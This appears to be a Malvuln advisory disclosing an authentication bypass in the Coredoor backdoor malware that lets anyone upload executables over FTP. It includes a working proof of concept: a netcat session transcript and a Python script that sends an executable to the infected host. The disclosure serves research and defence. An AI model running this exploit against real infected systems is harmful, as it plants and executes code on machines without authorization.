Original source: https://malvuln.com/advisory/4d10cd3fa86239ade05d2b741892b1e5.txt
Contact:
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Coredoor.10.a
Vulnerability: Authentication Bypass RCE
Description: The malware listens on TCP port 21000. Third-party
attackers who can reach infected systems can logon using any
username/password combination. Intruders may then upload
executables using ftp PASV, STOR commands, this can result in
remote code execution.
Type: PE32
MD5: 4d10cd3fa86239ade05d2b741892b1e5
Vuln ID: MVID-2021-0410
Dropped files: CFS.exe
Disclosure: 11/25/2021
Exploit/PoC:
nc64.exe x.x.x.x 21000
220 c400s FTP Server read...
USER malvuln
331 Password required for malvuln.
PASS malvuln
230 User malvuln logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
CDUP
250 CWD command successful. "C:/" is current directory.
PASV
227 Entering Passive Mode (192,168,18,125,194,155).
STOR DOOM-SM
150 Opening data connection for DOOM-SM.
226 File received ok
from socket import *
MALWARE_HOST="192.168.18.125"
PORT=49819
DOOM="DOOM-SM.exe"
def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)
while EXE:
s.send(EXE)
EXE=f.read()
s.close()
print("By Malvuln");
if __name__=="__main__":
doit()
Disclaimer: The information contained within this advisory is
supplied "as-is" with no warranties or guarantees of fitness of use
or otherwise. Permission is hereby granted for the redistribution
of this advisory, provided that it is not altered except by
reformatting it, and that due credit is given. Permission is
explicitly given for insertion in vulnerability databases and
similar, provided that due credit is given to the author. The
author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage
caused by the use or misuse of this information. The author
prohibits any malicious use of security related information or
exploits by the author or elsewhere. Do not attempt to download
Malware samples. The author of this website takes no responsibility
for any kind of damages occurring from improper Malware handling or
the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).